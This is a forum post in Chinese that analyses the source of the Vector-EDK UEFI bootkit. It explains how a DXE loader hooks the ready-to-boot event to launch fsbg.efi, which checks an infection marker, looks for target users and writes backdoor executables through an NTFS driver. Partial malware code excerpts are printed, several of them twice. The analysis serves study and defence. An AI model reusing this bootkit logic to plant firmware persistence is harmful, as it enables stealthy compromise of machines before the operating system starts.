首页
社区
课程
招聘
[原创]UEFI Bootkit源码分析
发表于: 2025-3-1 22:14 6954

[原创]UEFI Bootkit源码分析

2025-3-1 22:14
6954

Vector-EDK作为UEFI Bootkit的经典案例,在此对其进行分析。
源码在Github上可找到。

NTFS 解析器(Ntfs.efi):一个DXE驱动程序,包含一个完整的NTFS解析器,用于读写操作。
Rootkit加载器(rkloader.efi):一个DXE驱动程序,它注册一个回调来拦截EFI_EVENT_ GROUP_READY_TO_BOOT事件(表示平台已经准备好执行操作系统引导加载程序),并在启动操作系统引导程序之前加载UEFI应用程序fsbg.efi。
Bootkit辅助程序(fsbg.efi):在UEFI将控制权传递给操作系统引导加载程序之前运行的 UEFI应用程序。它使用用Ntfs.efi解析主要Bootkit函数,并注入恶意软件。

一个以Vector-edk为范本制作的感染概述图

在现在,绝大多数安全软件都只关注Ring0与Ring3,而对Ring-2很少关注,SPI读写漏洞一旦被利用,后果严重。

主函数_ModuleEntryPoint()

在这之中,gBootServices为UEFI全局变量,该函数采用CreateEventEx函数创建回调,在收到EFI_EVENT_ GROUP_READY_TO_BOOT后执行CallbackSMI函数。
此事件发生在BIOS DXE阶段结束时,操作系统引导加载程序收到控制信号之前,允许fsbg.efi在操作系统之前接管执行。
在下面给出UEFI的原型函数的解释:

NotifyTpl:0x10 对应 TPL_NOTIFY,属于高优先级。

重要的CallbackSMI()函数
这个函数很长,只截取部分分析

首先,我们看到多个UEFI协议初始化,例如:
EFI_LOADED_IMAGE_PROTOCOL提供已加载UEFI程序的信息(映像基地址、映像大小和映像在UEFI固件中的位置)。
EFI_FIRMWARE_VOLUME_PROTOCOL提供从固件卷读取和写入固件卷的接口。
EFI_DEVICE_PATH_PROTOCOL提供一个接口,用于构建到设备的路径。

何为UEFI Protocol
一个 Protocol 是一个结构体,包含一组函数指针和数据字段,定义了如何访问某种硬件、服务或功能。类似于WinAPI,但又有不同,UEFI Driver通过 Protocol 实现模块化和重用。每个 Protocol 通过一个 GUID(全局唯一标识符)来区分。

多个EFI_DEVICE_PATH_PROTOCOL初始化开始后,我们可以看到许多变量名都以New作为前缀,这通常表明它们是钩子。命名规范就是好(^_^)。因此,NewProtocol相当于一个UEFI Hook。
具体的使用:

但是,这个钩子并非拦截调用,而是实现隐蔽加载fsbg.efi。
可是DevicePathProtocol 的结构并非简单数组。实际设备路径由多个节点组成,每个节点的长度通过 EFI_DEVICE_PATH_PROTOCOL.Length 字段动态获取,需遍历所有节点累加长度。这可能是作者的疏忽。
这样计算更稳定

LoadedImage变量用一个指向 EFI_LOADED_IMAGE_PROTOCOL的指针进行初始化,之后LoadedImage可以用来确定当前模块(rkloader)所在的设备。
接下来,获得rkloader所在设备的EFI_FIRMWARE_VOLUME_PROTOCOL 和 EFI_DEVICE _PATH_PROTOCOL协议。这些协议是必要的,以建立到下一个恶意模块(即 fsbg.efi)的路径。

一旦获得了这些协议,rkloader将构造一个到fsbg.efi模块的路径,以便加载它。路径的第一部分是rkloader所在的固件卷(fsbg.efi)的路径。第二部分附加 fsbg.efi模块的GUID:LAUNCH_APP={eaea9aec-c9c1-46e2-9d52432ad25a9bob}。

最后一步是对LoadImage()的调用,执行fsbg.efi模块。

主函数UefiMain()

该函数首先检查是否感染。
fsbg.efi在第一次感染点安装了fTA UEFI变量,随后的每次引导检查它是否存在,如果可变的fTA存在,则意味着活跃的感染程序已经存在于硬盘驱动器上,并且fsbg.efi不需要向文件系统注入恶意驱动。如果在硬编码的路径中没有找到fTA,则fsbg.efi模块将在引导过程中再次安装Bootkit。
CheckfTA()函数

其余函数分析同理
总结:fsbg.efi的行为
1)通过预定义的名为fTA的UEFI度量检查系统是否已经被感染。
2)初始化 NTFS 协议。
3)通过查看预定义的部分,在UEFI映像中查找恶意可执行文件。
4)通过检查主目录中的名称来检查计算机上的现有用户,以查找特定的目标。
5)通过直接写入NTFS来安装恶意软件可执行模块scoute.exe(后门)和soldier.exe(RCS 代理)。

这个是修改EDK的NTFS解析器,没有什么特殊的构造,故不做过多分析

该Bootkit的启动过程:
虽然随着UEFI Secure Boot 的发展,UEFI启动过程得到一定保护,但肯定有更多的0day在被利用或未被发现。
对UEFI Bootkit 的防范,还需持续进行。
本贴只为概述,欢迎批评指正。
参考
Vector-EDK f88K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6Z5j5h3y4C8k6h3c8@1k6h3q4E0i4K6u0r3N6X3g2U0N6r3!0J5i4K6u0V1k6h3c8C8

EFI_STATUS EFIAPI
_ModuleEntryPoint(FI_HANDLE ImageHandle,EFI_SYSTEM_TABLE *SystemTable)
{
    EFI_EVENT Event;
    DEBUG((EFI_D_INFO,"Running RK loader.\n"));                            
    InitializeLib(ImageHandle,SystemTable);
    gReceived=FALSE; //重置
 
    //等待EFI_EVENT_ GROUP_READY_TO_BOOT事件
    //准备启动
    gBootServices->CreateEventEx( 0x200,0x10,&CallbackSMI,NULL,&SMBIOS_TABLE_GUID, &Event );
    return EFI_SUCCESS;
EFI_STATUS EFIAPI
_ModuleEntryPoint(FI_HANDLE ImageHandle,EFI_SYSTEM_TABLE *SystemTable)
{
    EFI_EVENT Event;
    DEBUG((EFI_D_INFO,"Running RK loader.\n"));                            
    InitializeLib(ImageHandle,SystemTable);
    gReceived=FALSE; //重置
 
    //等待EFI_EVENT_ GROUP_READY_TO_BOOT事件
    //准备启动
    gBootServices->CreateEventEx( 0x200,0x10,&CallbackSMI,NULL,&SMBIOS_TABLE_GUID, &Event );
    return EFI_SUCCESS;
EFI_STATUS
EFIAPI
CreateEventEx (
  IN UINT32                  Type,          // 事件类型
  IN EFI_TPL                 NotifyTpl,     // 回调的任务优先级(TPL)
  IN EFI_EVENT_NOTIFY        NotifyFunction,// 回调函数指针
  IN CONST VOID              *NotifyContext,// 传递给回调的上下文
  IN CONST EFI_GUID          *EventGroup,   // 事件组 GUID(可选)
  OUT EFI_EVENT              *Event         // 返回的事件句柄
);
EFI_STATUS
EFIAPI
CreateEventEx (
  IN UINT32                  Type,          // 事件类型
  IN EFI_TPL                 NotifyTpl,     // 回调的任务优先级(TPL)
  IN EFI_EVENT_NOTIFY        NotifyFunction,// 回调函数指针
  IN CONST VOID              *NotifyContext,// 传递给回调的上下文
  IN CONST EFI_GUID          *EventGroup,   // 事件组 GUID(可选)
  OUT EFI_EVENT              *Event         // 返回的事件句柄
);
VOID EFIAPI
CallbackSMI (EFI_EVENT Event,VOID *Context){
//略去部分
 
EFI_LOADED_IMAGE_PROTOCOL *LoadedImage;
EFI_FIRMWARE_VOLUME_PROTOCOL *FirmwareProtocol;
EFI_DEVICE_PATH_PROTOCOL *DevicePathProtocol,
                         *NewDevicePathProtocol,
                         *NewFilePathProtocol,
                         *NewDevicePathEnd;
return;
}
VOID EFIAPI
CallbackSMI (EFI_EVENT Event,VOID *Context){
//略去部分
 
EFI_LOADED_IMAGE_PROTOCOL *LoadedImage;
EFI_FIRMWARE_VOLUME_PROTOCOL *FirmwareProtocol;
EFI_DEVICE_PATH_PROTOCOL *DevicePathProtocol,
                         *NewDevicePathProtocol,
                         *NewFilePathProtocol,
                         *NewDevicePathEnd;
return;
}
DeviceHandle = LoadedImage->DeviceHandle;
 
    Status = gBootServices->HandleProtocol(DeviceHandle, &FIRMWARE_VOLUME_PROTOCOL_GUID, &FirmwareProtocol);
    Status = gBootServices->HandleProtocol(DeviceHandle, &DEVICE_PATH_PROTOCOL_GUID, &DevicePathProtocol);
 
    DevicePathLength = DevicePathProtocol->Length[0] + DevicePathProtocol->Length[1];
    DevicePathLength += sizeof(EFI_GUID) + 4 + 4;
 
    gBootServices->AllocatePool(4, DevicePathLength, &NewDevicePathProtocol);
DeviceHandle = LoadedImage->DeviceHandle;
 
    Status = gBootServices->HandleProtocol(DeviceHandle, &FIRMWARE_VOLUME_PROTOCOL_GUID, &FirmwareProtocol);
    Status = gBootServices->HandleProtocol(DeviceHandle, &DEVICE_PATH_PROTOCOL_GUID, &DevicePathProtocol);
 
    DevicePathLength = DevicePathProtocol->Length[0] + DevicePathProtocol->Length[1];
    DevicePathLength += sizeof(EFI_GUID) + 4 + 4;
 
    gBootServices->AllocatePool(4, DevicePathLength, &NewDevicePathProtocol);
DevicePathLength = GetDevicePathSize(DevicePathProtocol);
DevicePathLength = GetDevicePathSize(DevicePathProtocol);
// 复制"VOLUME"描述符
gBootServices->CopyMem( NewDevicePathProtocol,DevicePathProtocol, DevicePathLength);
gBootServices->CopyMem(((CHAR8*)(NewFilePathProtocol)+4),&LAUNCH_APP,sizeof(EFI_GUID));
// 复制"VOLUME"描述符
gBootServices->CopyMem( NewDevicePathProtocol,DevicePathProtocol, DevicePathLength);
gBootServices->CopyMem(((CHAR8*)(NewFilePathProtocol)+4),&LAUNCH_APP,sizeof(EFI_GUID));
Status = gBootServices->LoadImage(FALSE,gImageHandle,NewDevicePathProtocol,
NULL,0,&ImageLoadedHandle);
Status = gBootServices->LoadImage(FALSE,gImageHandle,NewDevicePathProtocol,
NULL,0,&ImageLoadedHandle);
EFI_STATUS                                     // Entry Point
UefiMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable)
{
    //变量略
     
#ifdef FORCE_DEBUG
    Print(L"parte 1\n");
#endif
 
    //Step 1
    if (CheckfTA()== TRUE)
        return TRUE;
#ifdef FORCE_DEBUG
    Print(L"parte 2\n");
#endif
 
    Status = gBS->HandleProtocol(ImageHandle, &gEfiLoadedImageProtocolGuid, &LoadedImage);
    
    if (EFI_ERROR (Status))
    {
#ifdef FORCE_DEBUG
        Print(L"Error LoadedImageProtocol\r\n");
#endif
        return Status;
    }
#ifdef FORCE_DEBUG
    Print(L"parte 3\n");
#endif
 
    VirtualSize=0;
    pSectiondata=0;
 
    if(GetImageEx (ImageHandle, &SOAPP, EFI_SECTION_RAW, &Buffer, &Size, FALSE)==EFI_SUCCESS)
    {
#ifdef FORCE_DEBUG
        Print(L"parte 4\n");
#endif
 
        VirtualSize=Size;
        pSectiondata=(UINTN)Buffer;
 
#ifdef FORCE_DEBUG
        Print(L"B0=%x B1=%x  %c%c\n",Buffer[0],Buffer[1],Buffer[0],Buffer[1]);
#endif
        //CpuBreakpoint();
         
        //Setp 2
        if (CheckUsers(LoadedImage->DeviceHandle) == FALSE)
            return TRUE;
 
#ifdef FORCE_DEBUG
        Print(L"parte 5\n");
#endif
    }
#ifdef FORCE_DEBUG
    Print(L"parte 6\n");
    Print(L"B0=%x B1=%x  %c%c\n",Buffer[0],Buffer[1],Buffer[0],Buffer[1]);
    //CpuBreakpoint();
#endif
     
 
    return EFI_SUCCESS;
}
EFI_STATUS                                     // Entry Point
UefiMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable)
{
    //变量略
     
#ifdef FORCE_DEBUG
    Print(L"parte 1\n");
#endif
 
    //Step 1
    if (CheckfTA()== TRUE)
        return TRUE;

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2025-3-2 14:02 被TurkeybraNC编辑 ,原因:
收藏
免费 4
支持
分享
最新回复 (1)
雪    币: 4064
活跃值: (4397)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
2
感谢分享。
2025-3-5 09:32
0
游客
登录 | 注册 方可回帖
返回